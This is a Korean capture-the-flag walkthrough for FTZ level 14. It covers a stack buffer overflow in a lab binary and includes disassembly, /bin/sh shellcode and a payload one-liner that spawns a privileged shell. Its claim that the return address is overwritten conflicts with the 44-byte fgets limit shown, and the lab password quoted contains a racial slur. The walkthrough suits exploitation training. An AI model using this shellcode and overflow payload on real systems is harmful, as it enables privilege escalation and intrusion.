[FTZ] level14 풀이

💡 FTZ level14 풀이

문제

계정 : level14/what that nigga want?

hint

레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.
버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이
최고의 효과를 가져다줍니다.

#include <stdio.h>
#include <unistd.h>

main()
{ int crap;
  int check;
  char buf[20];
  fgets(buf,45,stdin);
  if (check==0xdeadbeef)
   {
     setreuid(3095,3095);
     system("/bin/sh");
   }
}

풀이

13번과 동일하게, ret 주소를 덮는 과정에서 check 변수와 crap 변수도 덮어 쓰여 집니다. 이때, check 변수를 검증하고 있으므로, check 변수 값을 주의하여 덮어쓰면 됩니다.

먼저 메모리 구조를 분석합니다.

[level14@ftz level14]$ gdb -q attackme
(gdb) set disass intel
(gdb) disass main
Dump of assembler code for function main:
0x08048490 <main+0>:    push   ebp
0x08048491 <main+1>:    mov    ebp,esp
0x08048493 <main+3>:    sub    esp,0x38
0x08048496 <main+6>:    sub    esp,0x4
0x08048499 <main+9>:    push   ds:0x8049664
0x0804849f <main+15>:   push   0x2d
0x080484a1 <main+17>:   lea    eax,[ebp-56]   //ebp-56 위치에 buf 존재
0x080484a4 <main+20>:   push   eax
0x080484a5 <main+21>:   call   0x8048360 <fgets>
0x080484aa <main+26>:   add    esp,0x10
0x080484ad <main+29>:   cmp    DWORD PTR [ebp-16],0xdeadbeef //ebp-16 위치에 check 존재
0x080484b4 <main+36>:   jne    0x80484db <main+75>
0x080484b6 <main+38>:   sub    esp,0x8
0x080484b9 <main+41>:   push   0xc17
0x080484be <main+46>:   push   0xc17
0x080484c3 <main+51>:   call   0x8048380 <setreuid>
0x080484c8 <main+56>:   add    esp,0x10
0x080484cb <main+59>:   sub    esp,0xc
0x080484ce <main+62>:   push   0x8048548
0x080484d3 <main+67>:   call   0x8048340 <system>
0x080484d8 <main+72>:   add    esp,0x10
0x080484db <main+75>:   leave
0x080484dc <main+76>:   ret
0x080484dd <main+77>:   lea    esi,[esi]

메모리 구조는 다음과 같이 되어 있습니다.

ret(4)
ebp(4)
dummy + crap (12)
check(4)  // ebp-16
dummy(20) // buf와 check 주소 차이 만큼
buf(20)   // ebp-56

환경변수에 쉘코드를 등록하고, 환경변수의 주소를 알아냅니다.

[level14@ftz tmp]$ export SHELLCODE=$(python -c 'print("\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80")')
[level14@ftz tmp]$ echo 'int main(){printf("%p\n",getenv("SHELLCODE"));}' >> env.c
[level14@ftz tmp]$ gcc -o env env.c
[level14@ftz tmp]$ ./env
0xbffffc6d

프로그램을 실행하여 ret 주소를 덮어 씁니다.

1. buf + dummy 40 바이트
2. check -> 0xdeadbeef
3. dummy + crap + ebp 16 바이트
4. 0xbffffc6d 로 리턴 주소 변경

[level14@ftz level14]$ (python -c'print("A"*40+"\xef\xbe\xad\xde"+"A"*16+"\x6d\xfc\xff\xbf")';cat) | ./attackme

id
uid=3095(level15) gid=3094(level14) groups=3094(level14)

my-pass
Level15 Password is "guess what".